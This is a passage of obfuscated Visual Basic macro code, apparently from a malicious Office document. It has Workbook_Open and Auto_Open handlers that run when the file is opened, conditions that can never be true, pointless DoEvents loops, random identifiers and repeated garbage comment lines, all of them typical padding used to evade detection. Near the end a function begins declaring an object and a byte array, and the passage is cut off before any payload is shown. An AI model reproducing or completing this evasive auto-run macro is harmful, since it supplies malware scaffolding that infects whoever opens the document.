- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents: GxhldSSq = GxhldSSq + 1
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim JnPFligS As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For JnPFligS = 0 To 1
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next JnPFligS
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Loop
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim DWVSsppN As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For DWVSsppN = 0 To 9
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next DWVSsppN
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- MsgBox ("Error !!!")
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- End If
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim qNqQVjSa As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim YOcDSBKX As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For YOcDSBKX = 0 To 1
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next YOcDSBKX
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- qNqQVjSa = 6
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Do While qNqQVjSa < 63
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim ZogxsVne As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For ZogxsVne = 0 To 1
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next ZogxsVne
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents: qNqQVjSa = qNqQVjSa + 1
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim zoDZjcLU As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For zoDZjcLU = 0 To 8
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next zoDZjcLU
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Loop
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim SefbNHZh As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For SefbNHZh = 0 To 6
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next SefbNHZh
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Auto_Open
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- End Sub
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Sub Workbook_Open()
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- If 353982 = 353982 + 1 Then End
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- If 9515 < 39 Then
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim YnxHwLlg As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim euXLGRDi As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For euXLGRDi = 0 To 9
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next euXLGRDi
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- YnxHwLlg = 1
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Do While YnxHwLlg < 17
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim vYfnWqBt As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For vYfnWqBt = 0 To 3
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next vYfnWqBt
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents: YnxHwLlg = YnxHwLlg + 1
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim BIbFgUeP As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For BIbFgUeP = 0 To 5
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next BIbFgUeP
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Loop
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim plkkyvUH As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For plkkyvUH = 0 To 6
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next plkkyvUH
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- MsgBox ("BUiYCPxY11")
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- End If
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- If Len("gNNnOwoe7572") = Len("LfXgwJHu") Then
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim lrmBGtRK As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim YDaUdCRH As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For YDaUdCRH = 0 To 7
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next YDaUdCRH
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- lrmBGtRK = 7
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Do While lrmBGtRK < 21
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim TLEnfuqx As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For TLEnfuqx = 0 To 5
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next TLEnfuqx
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents: lrmBGtRK = lrmBGtRK + 1
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim jZCVavxV As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For jZCVavxV = 0 To 5
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next jZCVavxV
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Loop
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim JvHACKHc As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For JvHACKHc = 0 To 1
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next JvHACKHc
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- MsgBox ("Error !!!")
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- End If
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim niEhjNle As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim nvHvpJHZ As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For nvHvpJHZ = 0 To 9
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next nvHvpJHZ
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- niEhjNle = 9
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Do While niEhjNle < 32
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim nmoNSJDJ As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For nmoNSJDJ = 0 To 9
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next nmoNSJDJ
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents: niEhjNle = niEhjNle + 1
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim StebLAwE As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For StebLAwE = 0 To 6
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next StebLAwE
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Loop
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim SNwaxZlK As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For SNwaxZlK = 0 To 6
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next SNwaxZlK
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Auto_Open
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- End Sub
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Function PZQGZXPGNNP(ByVal TWTUFQULVUY As String, ByVal DNZWAGZEAAU As String) As Boolean
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim RNNVUWVLESY As Object, PFTOSMQXJLP As Long, RVDHCWIGIMP As Long, ZEFGKWXQJQF() As Byte
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- If 323226 = 323226 + 1 Then End
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- If 9743 < 94 Then
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim peCJFnhG As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim qfGnuLBq As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For qfGnuLBq = 0 To 1
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next qfGnuLBq
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- peCJFnhG = 6
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Do While peCJFnhG < 35
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim cFvDnnWV As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For cFvDnnWV = 0 To 3
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next cFvDnnWV
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents: peCJFnhG = peCJFnhG + 1
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim stZvZDCm As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For stZvZDCm = 0 To 7
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next stZvZDCm
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Loop
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim qptjEVZa As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For qptjEVZa = 0 To 7
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next qptjEVZa
